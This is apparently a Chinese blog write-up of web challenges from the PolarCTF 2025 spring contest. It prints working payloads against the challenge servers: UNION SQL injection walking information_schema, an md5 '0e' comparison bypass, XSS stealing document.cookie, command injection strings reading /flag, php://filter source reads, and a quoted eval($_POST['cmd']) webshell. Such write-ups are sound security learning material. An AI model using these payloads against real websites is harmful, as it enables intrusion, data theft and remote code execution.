PolarCTF - 2025春季个人赛

Octopus Lv2

实际上当时在 NCTF 煎熬,没打 Polar,好在 Polar 官方兵贵神速,第二天就有复现环境和官方WP了

code的登录

访问首页

点击登录,宝贝,一个廉价的登录框

点击 提示,宝贝;并查看网页源代码,得到账号名 coke

访问 result.php,并没有该文件

查看首页源代码

页面加载同时也会去执行一次 cookies.php ,该文件会设置当前的 cookie
当前 cookie

访问 cookies.php
![[PolarCTF 2025春季个人挑战赛/file-20250322132037324.png]]
尝试用刚得到的cookie作为密码登录

1
coke/coke-lishuai

再给我30元

查看网页源码

输入尝试,很明显的 SQL 注入

测试列数为2

1
2
?id=1 group by 2
?id=1 group by 3

两个位置都能返回信息

1
?id=-1 union select version(),database()

测库

1
?id=-1 union select version(),(select group_concat(schema_name) from information_schema.schemata)

注表

1
?id=-1 union select version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())

注列

1
?id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_name=0x757365725f696e666f)

flag

1
?id=-1 union select version(),(select group_concat(secret) from WelcomeSQL.user_info)

0e事件

访问

随意输入

官方解释是根据题意 0e ,得知是 md5碰撞,0e绕过,php 在处理 hash 的时候,会将每个 0e 的开头 hash 值解释为0,那么只要传入不同字符串经过 hash 以后,php 就会认为他们是相同的

1
?a=s1502113478a

就得到了 flag ??这玩脑洞的题目是真不喜欢…

来个弹窗

随意输入,输入的内容会回显在 html 中

查看源代码

<p> 标签闭合

1
</p>123

看哪个 Payload 顺眼放进去就好了

1
</p>onfocus=javascript:alert()

这还考动漫人物名 awa

Google 一下,白金之星

1
flag{dbd65172f0a14c279bc461cd0185c70a}

bllbl_rce

输入命令,不管怎么试都是 no

扫描目录,发现了网站源码备份

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['command'])) {
$command = $_POST['command'];
if (strpos($command, 'bllbl') === false) {
die("no");
}
echo "<pre>";
system ($command);
echo "</pre>";
}
?>

检查 command 中是否包含子串 bllbl ,没有退出程序,有则把输入交给 system 执行命令

1
bllbl;ls /
1
bllbl;cat /flag

复读机RCE

随意输入

目录扫描

访问就拿到 flag

狗黑子CTF变强之路

随意点击,发现文件包含

包含 /etc/passwd ,被告知只允许包含 php 文件

包含 `index.php`
1
index.php?page=php://filter/convert.base64-encode/resource=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
// 简单的文件类型检查,只允许包含 php 文件
if (strpos($page, '.php')!== false) {
include($page);
} else {
echo "只允许包含 php 文件";
}
}
?>
...
<?php
if (isset($_GET['page'])) {
echo '<div id="display">';
}
?>
</body>
</html>
<?php @eval($_POST['cmd'])?>

index.php 页面就有 eval 后门,直接拿到 flag

同时开启的目录扫描中扫到 admin.php

读取 admin.php 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 硬编码的用户名和密码
$correctUsername = "ggouheizi";
$correctPassword = "zigouhei";

$username = $_POST['username'];
$password = $_POST['password'];

if ($username == $correctUsername && $password == $correctPassword) {
// 登录成功,直接跳转到 gougougou.php
header("Location: gougougou.php");
exit;
} else {
$errorMessage = "用户名或密码错误,请重新输入。";
}
}
?>
...
<body>
<form method="post">
<label for="username">用户名:</label><br>
<input type="text" name="username"><br>
<label for="password">密码:</label><br>
<input type="password" name="password"><br><br>
<input type="submit" value="登录">
<?php if(isset($errorMessage)) { echo $errorMessage; }?>
</form>
</body>

</html>

gougougou.php 页面一片空白,看来题目就是指定读 index.php 的思路拿 flag

椰子树晕淡水鱼

目录扫描

admin.php

password 文件解压需要密码

暴力破解,密码 0606

是一个字典

字典交叉爆破,得出账号密码

1
zhsh/zhsh920

文件上传

MIMI类型改一下就成功了

background

访问靶机

看看 js 文件

源码如下,JS 功能重点是向 change_background.php 发送一个 POST 请求,参数为 d=echo&p=I will do it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
document.getElementById("change-bg-btn").onclick = function() {
fetch("change_background.php", {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
d: "echo",
p: "I will do it!"
})
})
.then(response => response.text())
.then(text => {
const lines = text.split('\n');
const background = lines[0]; // 第一行是背景图路径
const message = lines.slice(1).join('\n'); // 其余是输出信息

document.body.style.backgroundImage = `url(${background})`;
document.getElementById("result").innerText = message;

change_background.php 发送请求,页面返回了 I will do it ,猜测是程序进行了命令执行,源码可能为 system($_POST['d'] . ' ' . $_POST['p']); 这样类似的形式

1
2
3
4
/change_background.php

POST:
d=echo&p=I will do it
1
d=ls&p=/

ls / 命令执行成功

读取 flag

xCsMsD

访问靶机

注册并登录

一个命令执行窗口,输入 ls 回显了执行结果

1
2
3
4
index.php
styles.css
users.txt
xss_cmd.php

但后续无论怎么读,都失败了,除了禁止,也有没有回显结果的情况,比较奇怪

回到 XSS 窗口,尝试一下 XSS

1
"><script>alert()</script><"

弹 Cookie

1
"><script>alert()</script><"<script>alert(document.cookie)</script>

是一段 URL 编码,解密发现好像是一个提示?

1
2
%27+%27-%3E%27-%27%2C+%27%5C%27-%3E%27%2F%27
' '->'-', '\'->'/'
1
rev-xss_cmd.php

成功执行命令

对输出内容进行反转,其中是将空格替换为 -,替换 \/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
setcookie('cookie', "' '->'-', '\'->'/'", time() + (10 * 365 * 24 * 60 * 60), "/"); // 10年有效期
?>
<?php
if (isset($_POST['execute_command'])) {
// 获取用户输入
$command = $_POST['command_input'];
// 替换空格为空
$command = str_replace(' ', '', $command);
// 替换 "/" 为空
$command = str_replace('/', '', $command);
// 替换 "-" 为空格
$command = str_replace('-', ' ', $command);
// 替换 "\" 为 "/"
$command = str_replace('\\', '/', $command);
// 过滤掉一些常见的命令行读取文件的函数
$forbidden_commands = ['cat', 'less', 'more', 'head', 'tail', 'nl', 'strings', 'awk', 'sed', 'dd', 'xxd'];
// 检查输入的命令是否包含被禁止的关键字
foreach ($forbidden_commands as $forbidden) {
if (preg_match("/\b$forbidden\b/i", $command)) {
die("禁止使用此命令: $forbidden");
}
}
// 对命令进行转义以增强安全性
$command = escapeshellcmd($command);
// 执行命令并显示输出
$output = shell_exec($command);
echo "<pre>$output</pre>";
}
?>

拿到 flag

1
rev-\flag

小白说收集很重要

/users.json

爆破

登录

1
admin01/admin

提示寻找管理员账号密码登录界面

后面一直尝试爆破,用户名换了很多,密码使用登录后的社工密码生成也生成了许多,但爆破成功的登录进去都是普通用户,实在没有进展,于是切换思路尝试越权
现在是 /user_dashboard.php

要到管理员界面,先尝试直接切换 URL

1
/admin_dashboard.php

直接成功,获取 Flag

看了官方WP,这题还有另外一个思路,就是通过爆破拿到管理员账号密码
社工密码生成,填入一些赛方关键词,生成密码

1
xiaobai,admin

账号名选用一些常用弱口令账号,爆破

这样也有机会碰进管理员界面

投喂2.0

.htaccess 能传,图片也能传,就是不生效,试了很久

后面尝试 apache 解析漏洞

执行成功

  • 标题: PolarCTF - 2025春季个人赛
  • 作者: Octopus
  • 创建于 : 2025-03-24 16:42:59
  • 更新于 : 2025-04-01 14:59:07
  • 链接: https://redefine.ohevan.com/2025/03/24/PolarCTF-2025春季个人赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论